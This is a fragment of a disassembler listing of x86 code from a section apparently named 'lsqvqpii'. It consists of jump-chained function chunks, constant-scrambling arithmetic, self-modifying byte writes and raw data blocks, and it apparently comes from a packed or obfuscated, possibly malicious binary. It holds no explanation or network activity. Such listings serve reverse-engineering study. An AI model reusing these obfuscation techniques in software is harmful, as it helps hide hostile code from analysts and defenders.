align 4
; =============== S U B R O U T I N E =======================================
sub_42CD4C proc near ; CODE XREF: sub_42E5B5j
adc ebx, esi
jmp sub_42CBA0
sub_42CD4C endp
; ---------------------------------------------------------------------------
align 4
loc_42CD54: ; CODE XREF: lsqvqpii:0042D938j
mov byte ptr [edi], 87h
pop edi
and ebx, 0F4998F6Ch
call sub_42E332
; ---------------------------------------------------------------------------
db 0
db 0
db 3Ch ; <
db 0A4h ; ¤
db 0Fh
db 85h ; …
db 5
db 0
db 0
db 0
db 0E9h ; é
db 0D0h ; Ð
db 2
db 0
db 0
db 68h ; h
db 0D2h ; Ò
db 0E1h ; á
db 42h ; B
db 0
db 0E9h ; é
db 9Bh ; ›
db 20h
db 0
db 0
db 81h ;
db 0DBh ; Û
db 0CDh ; Í
db 7Ch ; |
db 0FEh ; þ
db 92h ; ’
db 0F7h ; ÷
db 0D7h ; ×
db 0C1h ; Á
db 0C7h ; Ç
db 3
db 57h ; W
db 0BFh ; ¿
db 6Dh ; m
db 0D6h ; Ö
db 42h ; B
db 0
db 0E9h ; é
db 79h ; y
db 2
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42CD93 proc near ; CODE XREF: lsqvqpii:loc_42D118p
; FUNCTION CHUNK AT 0042D566 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D860 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042DC46 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042DEBF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042E03D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E12E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EBBF SIZE 00000005 BYTES
xchg esi, [esp+0]
pop esi
xor edx, eax
dec ecx
jnz loc_42D566
jmp loc_42E03D
sub_42CD93 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9Ch, 68h, 5Bh
dd 87D17234h, 0D38B241Ch, 4C2815Bh, 0F8B9A17h, 1F1189h
dd 63E90000h, 1Bh, 24148700h, 4800F5Ah, 56000006h, 12C6E956h
dd 81000000h, 0E01B78DBh, 74DE9A3h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D080
loc_42CDE4: ; CODE XREF: sub_42D080+B62j
pop ecx
xchg edx, [esp-4+arg_0]
mov ebp, edx
pop edx
jmp nullsub_22
; END OF FUNCTION CHUNK FOR sub_42D080
; ---------------------------------------------------------------------------
dd 0C0870F00h, 87000003h, 0FF5E2434h, 4210C015h, 0E4D16800h
dd 97E90042h, 15h, 0C181C300h, 549B97ADh
dword_42CE14 dd 0E9240CB1h, 3B2h, 0FD47E800h db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42CE22: ; CODE XREF: sub_42DD3F:loc_42EAE8j
pop edx
or edx, 96534090h
add edx, 0A78C8C43h
and edx, 81455E35h
rol edx, 1Ch
xor edx, 0E9E2B019h
popf
jmp loc_42EC48
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EC30
loc_42CE46: ; CODE XREF: sub_42EC30-658j
call sub_42D2AC
; END OF FUNCTION CHUNK FOR sub_42EC30
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42CE4B: ; CODE XREF: sub_42DC4F-4E4j
; sub_42DC4F:loc_42E966j
xor edi, 0F2CBD66Bh
add edi, ebp
add edi, 10E2138Bh
sbb eax, 243CA33Fh
jmp loc_42DAC3
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CE64: ; CODE XREF: sub_42E407-430j
jo loc_42ED56
and ecx, 5CAE2977h
sub ecx, 68ADB443h
jmp sub_42EA00
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB44
loc_42CE7D: ; CODE XREF: sub_42EB44-F7Dj
mov byte ptr [edi], 89h
pop edi
pop edi
xor edi, 0F2DAE2F6h
push edi
jmp loc_42D021
; END OF FUNCTION CHUNK FOR sub_42EB44
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
xchg ecx, ebx
jmp loc_42D62D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CE96: ; CODE XREF: sub_42E407:loc_42DFBEj
; sub_42E407+737j
jmp loc_42D806
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0E9h, 3, 0FFh
dd 5200FFFFh, 42CD67BAh, 1438E900h, 0B9680000h, 0E90042D8h
; CODE XREF: sub_42D663+Dj
; lsqvqpii:0042EBF8j
dd 0D30h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42CEBA: ; DATA XREF: sub_42E7E2+Fo
xchg esi, [esp]
jmp loc_42DF80
; ---------------------------------------------------------------------------
dw 3600h
dd 1504E800h, 0
; ---------------------------------------------------------------------------
jmp locret_42D9AB
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CED3: ; CODE XREF: sub_42E407:loc_42DDA8j
sub eax, edx
jz loc_42E9BD
jmp loc_42E929
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
loc_42CEE0: ; DATA XREF: sub_42E6D7+3o
xchg ebx, [esp]
mov edx, ebx
pop ebx
mov byte ptr [edx], 8Bh
pop edx
push 411C9A0h
jmp loc_42CF58
; ---------------------------------------------------------------------------
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42CEF7: ; CODE XREF: sub_42DD3F+Aj
jmp loc_42CF1C
; END OF FUNCTION CHUNK FOR sub_42DD3F
; =============== S U B R O U T I N E =======================================
sub_42CEFC proc near ; DATA XREF: sub_42CBA0:loc_42E7B3o
add eax, 6CFD83CDh
xchg eax, [esp+0]
jmp sub_42DB92
sub_42CEFC endp
; ---------------------------------------------------------------------------
dw 0E800h
dd 1B14h, 6B0F4568h, 0B7EE948h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42CF1C: ; CODE XREF: sub_42DD3F:loc_42CEF7j
mov byte ptr [eax], 8Bh
pop eax
pushf
push 6AD4A825h
xchg ebp, [esp+0]
mov ecx, ebp
pop ebp
and ecx, 0C619EA1h
jmp loc_42E292
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_42CF38 proc near
; FUNCTION CHUNK AT 0042E650 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042E7C9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042EDDA SIZE 00000005 BYTES
call sub_421134
jmp loc_42EDDA
sub_42CF38 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42CF43: ; CODE XREF: sub_42EDBB:loc_42EBA5j
; sub_42EDBB+Aj
mov edx, [eax]
or edx, edx
jz loc_42E7D7
push offset sub_42CC9B
jmp loc_42EC22
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
align 4
loc_42CF58: ; CODE XREF: lsqvqpii:0042CEEFj
push eax
push 0EBA9029h
pop eax
rol eax, 2
jmp loc_42E983
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND]
dd 80E90000h, 87FFFFFBh, 525F243Ch, 0A052E468h, 0C2815A5Fh
; CODE XREF: sub_42E0CA+Fp
dd 79996F3h, 0A99E9h, 0C300h, 0EE5E9h, 0C6000000h, 8B598701h
dd 241487D0h, 74CE9h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EDBB
loc_42CF9D: ; CODE XREF: sub_42EDBB-694j
mov byte ptr [esi], 90h
pop esi
call sub_42DCC5
; END OF FUNCTION CHUNK FOR sub_42EDBB
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
loc_42CFA8: ; CODE XREF: lsqvqpii:0042E11Dj
jmp loc_42E239
; ---------------------------------------------------------------------------
jmp loc_42E643
; ---------------------------------------------------------------------------
dw 9900h
; ---------------------------------------------------------------------------
jmp loc_42DD50
; ---------------------------------------------------------------------------
align 2
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CFBA: ; CODE XREF: sub_42E407+951j
push 0B0BDA6DBh
loc_42CFBF: ; CODE XREF: lsqvqpii:0042D63Fj
or eax, 0C1ED23D4h
cmp eax, 0CCFF7331h
jmp loc_42D22D
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dd 2C870000h, 0B8BB5324h, 0E90042D9h, 418h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42CFE0: ; CODE XREF: sub_42E407+A0j
jnz loc_42D548
mov edi, ecx
test eax, 9CD6F0E9h
jmp near ptr loc_42D11D+1
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
dd 243C8700h, 8B243487h, 45895EFEh, 0C8DE8FCh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42D006: ; CODE XREF: lsqvqpii:0042DBFCj
jmp locret_42EC29
; ---------------------------------------------------------------------------
jmp loc_42D2E6
; =============== S U B R O U T I N E =======================================
sub_42D010 proc near ; CODE XREF: sub_42D877:loc_42E2FAp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0042CAB4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DB56 SIZE 00000008 BYTES
xchg ecx, [esp-4+arg_0]
pop ecx
push eax
mov eax, offset loc_42DB57
jmp loc_42CAB4
sub_42D010 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB44
loc_42D021: ; CODE XREF: sub_42EB44-1CBBj
mov edi, eax
xchg edi, [esp-4+arg_0]
mov eax, offset byte_42D823
jmp loc_42D5AB
; END OF FUNCTION CHUNK FOR sub_42EB44
; ---------------------------------------------------------------------------
dd 0F75F0000h, 0A1DD81D0h, 0E936FCC3h, 1287h, 82E9EB85h
dd 0Fh, 92880F00h, 8700001Dh, 515E2434h, 42DFE6B9h, 0FE50E900h
dd 0FFFFh, 8A9D008Bh, 0E2BE6800h, 0ABE90042h
db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_42D06F: ; CODE XREF: lsqvqpii:loc_42E076j
cmp esi, ebx
jmp loc_42E063
; ---------------------------------------------------------------------------
loc_42D076: ; CODE XREF: lsqvqpii:loc_42D815j
push offset loc_42D210
jmp loc_42E096
; =============== S U B R O U T I N E =======================================
sub_42D080 proc near ; CODE XREF: sub_42E2D3+33Bj
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042CDE4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042DBCE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042DD8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E6CA SIZE 00000005 BYTES
push ebx
push 0E48E22A2h
pop ebx
xor ebx, 0FF52F887h
sub ebx, 23FAAE21h
and ebx, 0DA0ADD2Fh
jmp loc_42DD8C
sub_42D080 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
test esi, ebp
jmp loc_42D3BD
; ---------------------------------------------------------------------------
xchg ebx, [edx]
jmp sub_42ECE4
; ---------------------------------------------------------------------------
dw 8700h
; ---------------------------------------------------------------------------
xor al, 24h
mov ecx, esi
pop esi
xchg ebp, [esp]
push ebp
jmp loc_42E613
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DC4F
loc_42D0BF: ; CODE XREF: sub_42DC4F:loc_42EB9Fj
mov byte ptr [eax], 87h
pop eax
pop edi
rol edi, 2
xor edi, 8F1C36D3h
sub edi, 8184D569h
test edi, 100000h
jmp loc_42E3AA
; END OF FUNCTION CHUNK FOR sub_42DC4F
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42D0DF: ; CODE XREF: lsqvqpii:loc_42DDDBj
pop ecx
rol ecx, 8
push offset byte_42DF21
jmp loc_42E037
; ---------------------------------------------------------------------------
align 2
loc_42D0EE: ; DATA XREF: lsqvqpii:0042EDEDo
mov edx, [edx]
push esi
mov esi, offset dword_42DFE8
jmp loc_42D6BD
; ---------------------------------------------------------------------------
align 4
loc_42D0FC: ; DATA XREF: sub_42EB86-46Eo
push edi
mov edi, edx
xchg edi, [esp]
mov edx, offset loc_42E76B
jmp loc_42D61B
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42D10E: ; CODE XREF: sub_42CD93+1132p
xchg esi, [esp]
pop esi
lodsb
add edx, eax
rol edx, 3
loc_42D118: ; CODE XREF: lsqvqpii:0042DEBAj
call sub_42CD93
loc_42D11D: ; CODE XREF: sub_42E407-1419j
add [edi], cl
mov word ptr [ebx], ds
pop es
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
add edx, 39790B74h
not ebx
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D12C: ; CODE XREF: sub_42E407:loc_42E49Aj
add eax, 3E4579A2h
mov eax, [eax]
jmp loc_42DDA8
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 2 dup(0), 0C3h
dd 0FF1EE900h, 0FFFFh, 0A5CF8159h, 68C39F15h, 42CCEBh
dd 1028E9h
db 3 dup(0)
byte_42D157 db 6Ah ; DATA XREF: lsqvqpii:loc_42E239o
dd 0FC99E8FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB44
loc_42D15E: ; CODE XREF: sub_42EB44+266j
add edi, 0C8D4421Eh
loc_42D164: ; DATA XREF: sub_42EB44:loc_42DBC2o
mov [edi], eax
push offset loc_42D771
jmp nullsub_24
; END OF FUNCTION CHUNK FOR sub_42EB44
; ---------------------------------------------------------------------------
dd 5D8700h, 0AD6E9h, 68000000h, 7F78A5Ah, 76CF815Fh, 81DEE0C9h
dd 8A2569E7h, 86CE9E3h, 0
; ---------------------------------------------------------------------------
and ecx, ebx
xchg eax, ecx
jmp loc_42D694
; ---------------------------------------------------------------------------
align 2
push edi
jmp sub_42E0CA
; ---------------------------------------------------------------------------
loc_42D1A4: ; CODE XREF: lsqvqpii:0042CBFAj
call sub_42DF16
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D1AB: ; CODE XREF: sub_42E407+8A1j
jmp loc_42E65C
; END OF FUNCTION CHUNK FOR sub_42E407
; =============== S U B R O U T I N E =======================================
sub_42D1B0 proc near ; CODE XREF: lsqvqpii:0042CB1Cj
; lsqvqpii:0042E2EAp
; FUNCTION CHUNK AT 0042DFB7 SIZE 00000005 BYTES
xchg ebx, [esp+0]
pop ebx
push ebp
mov ebp, esp
push offset word_42E4BA
jmp loc_42DFB7
sub_42D1B0 endp
; ---------------------------------------------------------------------------
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
dd 349h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D1C8: ; CODE XREF: sub_42E407-1020j
jmp loc_42D7C3
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 2
jmp nullsub_3
; ---------------------------------------------------------------------------
align 4
dd 0B4890F00h, 0E9000012h, 483h
; =============== S U B R O U T I N E =======================================
sub_42D1E0 proc near ; CODE XREF: lsqvqpii:0042D69Ep
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042E052 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E90E SIZE 00000018 BYTES
xchg edx, [esp+0]
sbb edx, eax
jmp loc_42E052
sub_42D1E0 endp
; ---------------------------------------------------------------------------
align 4
dword_42D1EC dd 8C3FC568h, 0C7C15F99h, 50CF811Ah, 0C13F7AC2h, 0C78115C7h
; DATA XREF: lsqvqpii:0042EC50o
dd 169F0481h, 3C1DF781h, 79E977C3h, 0FFFFFDh
; ---------------------------------------------------------------------------
loc_42D210: ; DATA XREF: lsqvqpii:loc_42D076o
add esi, 0F66421B0h
xchg esi, [esp]
jmp nullsub_3
; ---------------------------------------------------------------------------
align 10h
push offset byte_42DE2D
jmp locret_42EB26
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND]
align 4
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D22D: ; CODE XREF: sub_42E407-143Cj
jmp loc_42E49A
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42D232: ; CODE XREF: sub_42D877:loc_42EA97j
call sub_42E407
jmp loc_42EA6D
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
loc_42D23C: ; CODE XREF: lsqvqpii:0042D6F5j
jmp locret_42DB0C
; ---------------------------------------------------------------------------
align 2
dw 0D9E9h
dd 0FFFFFAh, 2E880F00h, 81000006h, 0B639BCAh, 4C2C1D0h
dd 9C9BC281h, 0C203FF41h, 0FED7E95Ah, 0FFFFh, 0DDE88158h
dd 81A49BF2h, 944282C0h, 0B9E95037h, 0Eh, 7E9E955h, 23000000h
dd 1AECE9DAh, 0E8000000h, 1794h, 0FC2F890Fh, 58DFFFFh
dd 42DDCDh, 87CF8B51h, 0CB68240Ch, 0E92F97E8h, 19D6h
; =============== S U B R O U T I N E =======================================
sub_42D2AC proc near ; CODE XREF: sub_42EC30:loc_42CE46p
; lsqvqpii:0042DC41j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042D95C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042DC03 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042E4F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E799 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042EAD0 SIZE 00000011 BYTES
xchg edi, [esp+0]
xchg esi, [esp+0]
mov edi, esi
pop esi
jmp loc_42E799
sub_42D2AC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dd 588DFD81h, 2AE97A45h, 0FFFFFBh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CBA0
loc_42D2C8: ; CODE XREF: sub_42CBA0-A1j
; lsqvqpii:0042CB11j
sub eax, 0A49D37F8h
jnz loc_42E7B3
rol edi, 1
push 11DC4DCDh
xor eax, 0C07D4193h
jmp loc_42E7AD
; END OF FUNCTION CHUNK FOR sub_42CBA0
; ---------------------------------------------------------------------------
loc_42D2E6: ; CODE XREF: lsqvqpii:0042D00Bj
mov byte ptr [edi], 87h
xchg edx, [esp]
mov edi, edx
pop edx
or edi, 34DDF0Eh
rol edi, 17h
jmp loc_42EC1C
; ---------------------------------------------------------------------------
db 2 dup(0), 0Fh
dd 0FFFD0686h, 0E9EE1BFFh, 0FFFFFAB9h, 0E8580000h, 31Bh
; CODE XREF: lsqvqpii:loc_42D316j
; ---------------------------------------------------------------------------
locret_42D314: ; CODE XREF: lsqvqpii:loc_42CCE4j
retn
; ---------------------------------------------------------------------------
align 2
loc_42D316: ; CODE XREF: lsqvqpii:0042E1A3j
jmp near ptr dword_42D300+0Eh
; ---------------------------------------------------------------------------
db 0E9h ; é ; CODE XREF: lsqvqpii:0042D5C5j
db 43h ; C
db 0Fh
db 0
db 0
db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND]
align 4
loc_42D324: ; CODE XREF: lsqvqpii:0042CD46j
jmp loc_42DBF0
; ---------------------------------------------------------------------------
db 2 dup(0), 0F7h
dd 993E9D1h, 820F0000h, 168Eh
; =============== S U B R O U T I N E =======================================
sub_42D338 proc near ; CODE XREF: sub_42E407-A85p
xchg ecx, [esp+0]
pop ecx
push eax
mov eax, edx
xchg eax, [esp+0]
push 5F4615ECh
pop edx
jmp loc_42E4B5
sub_42D338 endp
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42D34F: ; DATA XREF: sub_42D5D5+1169o
xchg edi, [esp]
push edi
call sub_42EB44
; START OF FUNCTION CHUNK FOR sub_42E5DE
loc_42D358: ; CODE XREF: sub_42E5DE:loc_42ED2Cj
xchg ebp, [esp+0]
mov esi, ebp
pop ebp
; END OF FUNCTION CHUNK FOR sub_42E5DE
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D35E: ; CODE XREF: sub_42E407:loc_42EB34j
or esi, 4A2FF8A8h
add esi, 2452CB29h
push edx
push 8FA053F5h
pop edx
jmp loc_42DDA2
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
align 4
jl loc_42D798
and edi, 0AA5094B1h
push edx
push 7A271302h
pop edx
rol edx, 1Ch
jmp loc_42D5B1
; ---------------------------------------------------------------------------
align 4
mov byte ptr [eax], 0C3h
xchg edi, [esp]
mov eax, edi
pop edi
xchg ecx, [esp]
jmp loc_42D46D
; ---------------------------------------------------------------------------
db 2 dup(0), 81h
dd 0F2D99AC7h, 3C879DDFh, 0FA8B5724h, 0E9243C87h, 0FFFFFAE1h
db 0
; ---------------------------------------------------------------------------
loc_42D3BD: ; CODE XREF: lsqvqpii:0042D0A2j
jns loc_42E764
rol ecx, 12h
jmp sub_42DA05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42DD3F
loc_42D3CB: ; CODE XREF: sub_42DD3F:loc_42EC48j
xor eax, eax
cld
jmp loc_42E8C2
; END OF FUNCTION CHUNK FOR sub_42DD3F
; ---------------------------------------------------------------------------
db 51h
dd 8B68CE8Bh, 0E90042CCh, 0FFFFF8E6h
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D3E2: ; CODE XREF: sub_42E407:loc_42DBA5j
mov esi, offset loc_42DCBC
jmp loc_42D1C8
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
dd 0ECBF9900h, 0E9A8216Eh, 0B0Fh, 42D9AC68h, 0FACAE900h
dd 0D3F7FFFFh, 1143E9h, 32C08100h, 818A0E5Ah, 8969A2E8h
dd 5BF08122h, 81DB62A7h, 5B7BD1C0h, 0E95250D5h, 561h
db 0
byte_42D429 db 56h, 8Bh, 0F5h ; DATA XREF: sub_42DB92o
dd 0D10E8h, 31E90000h, 11h, 0EB6E6852h, 815AC2B1h, 4345E2EAh
dd 0C3E281CBh, 0E982274Fh, 0EB4h, 7720C081h, 0C06C3922h
dd 119A840Fh, 68510000h, 0EB7D0E42h, 3B0E959h
db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND]
align 4
db 0
; ---------------------------------------------------------------------------
loc_42D46D: ; CODE XREF: lsqvqpii:0042D3A0j
push esi
mov esi, edi
xchg esi, [esp]
push 0BCD66469h
pop edi
add edi, 0D3C32D8Dh
or edi, 0A5395C39h
xor edi, 0AC8C4F32h
jmp near ptr dword_42CC24+1Dh
; ---------------------------------------------------------------------------
dd 0C2130000h, 7DDE9h
db 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42D49B: ; CODE XREF: sub_42D877+Cj
jz loc_42E2F5
jmp loc_42E1CC
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
dw 0C600h
dd 0E8588700h, 0A22h, 3C870000h
db 24h
; ---------------------------------------------------------------------------
loc_42D4B5: ; CODE XREF: lsqvqpii:0042CC65j
xchg ebp, [esp]
mov edi, ebp
pop ebp
add edi, 23F0DDDBh
add edi, ebp
call sub_42E2D3
add bl, al
add [ecx+311628C6h], al
call near ptr 686C0B60h
inc esp
in al, dx
adc dl, [ecx]
sbb ecx, 0C9ED956Ah
jmp loc_42DDDB
; ---------------------------------------------------------------------------
dd 0D33B0000h, 91E9h
db 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EA00
loc_42D4EF: ; CODE XREF: sub_42EA00+Bj
pop edi
xor edi, 0EA3083FCh
sub edi, 24380F6h
rol edi, 0Ch
sub edi, 389E0F7Ch
push edi
mov edi, offset loc_42E1EB
jmp loc_42E1E1
; END OF FUNCTION CHUNK FOR sub_42EA00
; ---------------------------------------------------------------------------
dd 243C8700h, 0F8ABE85Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CBA0
loc_42D51A: ; CODE XREF: sub_42CBA0+1C18j
jmp nullsub_7
; END OF FUNCTION CHUNK FOR sub_42CBA0
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D520: ; CODE XREF: sub_42E407+8Ej
; DATA XREF: sub_42EC73-FC8o
mov eax, [eax]
or eax, eax
jnz loc_42E5BB
jmp loc_42E908
; END OF FUNCTION CHUNK FOR sub_42E407
; =============== S U B R O U T I N E =======================================
sub_42D52F proc near ; CODE XREF: lsqvqpii:0042E3D9p
; FUNCTION CHUNK AT 0042D88A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DF39 SIZE 00000005 BYTES
xchg esi, [esp+0]
pop esi
push 7D09F1A9h
pop eax
jmp loc_42DF39
sub_42D52F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42D53F: ; CODE XREF: sub_42D877:loc_42E2F5j
; DATA XREF: lsqvqpii:0042E27Co
lea eax, nullsub_3
mov byte ptr [eax], 0C3h
loc_42D548: ; CODE XREF: sub_42E407:loc_42CFE0j
call nullsub_1
call nullsub_2
push 574E85AAh
jmp loc_42ECAF
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
dd 0D6850000h, 0FFFD9AE9h
; ---------------------------------------------------------------------------
inc dword ptr [eax]
; START OF FUNCTION CHUNK FOR sub_42CD93
loc_42D566: ; CODE XREF: sub_42CD93+7j
; sub_42DD3F:loc_42E8C2j
jnz loc_42DEBF
js loc_42E4DE
lodsb
push offset loc_42DEB5
jmp loc_42EBBF
; END OF FUNCTION CHUNK FOR sub_42CD93
; ---------------------------------------------------------------------------
align 2
jge nullsub_2
add edi, ebx
jmp loc_42E439
; ---------------------------------------------------------------------------
loc_42D58B: ; DATA XREF: lsqvqpii:0042E615o
push 0F22B067Bh
push edi
mov edi, offset loc_42E02F
jmp loc_42E203
; ---------------------------------------------------------------------------
db 87h
dd 81582404h, 0AD131C2h, 0E07E8E0h
db 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB44
loc_42D5AB: ; CODE XREF: sub_42EB44-1B19j
jmp loc_42ED9E
; END OF FUNCTION CHUNK FOR sub_42EB44
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42D5B1: ; CODE XREF: lsqvqpii:0042D38Ej
and edx, 4756E368h
xor edx, 0F99D7CEEh
rol edx, 17h
push offset loc_42E26B
jmp near ptr unk_42D31B
; ---------------------------------------------------------------------------
align 4
locret_42D5CC: ; CODE XREF: lsqvqpii:loc_42DDEEj
retn
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42D5CF: ; CODE XREF: lsqvqpii:0042E06Fj
jl loc_42CC03
; =============== S U B R O U T I N E =======================================
sub_42D5D5 proc near
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042E736 SIZE 00000012 BYTES
xchg esi, [esp+0]
pop esi
xchg edi, [esp-4+arg_0]
xchg esi, [esp-4+arg_0]
jmp loc_42E736
sub_42D5D5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 15FF0000h, 4210C0h, 0A8256856h, 815E8179h, 7D54EEh
dd 64C6814Eh, 812FA3B4h, 0AF3FCAE6h, 1762E983h, 890F0000h
dd 0FFFFFD6Eh
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42D611: ; CODE XREF: sub_42E407-6Cj
jmp loc_42D94C
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
loc_42D616: ; CODE XREF: lsqvqpii:0042DB21j
jmp loc_42CCD0
; ---------------------------------------------------------------------------
loc_42D61B: ; CODE XREF: lsqvqpii:0042D107j
jmp loc_42D904
; ---------------------------------------------------------------------------
dd 800F0000h, 161Ah, 5F2E9h
db 0
; ---------------------------------------------------------------------------
loc_42D62D: ; CODE XREF: lsqvqpii:0042CE91j
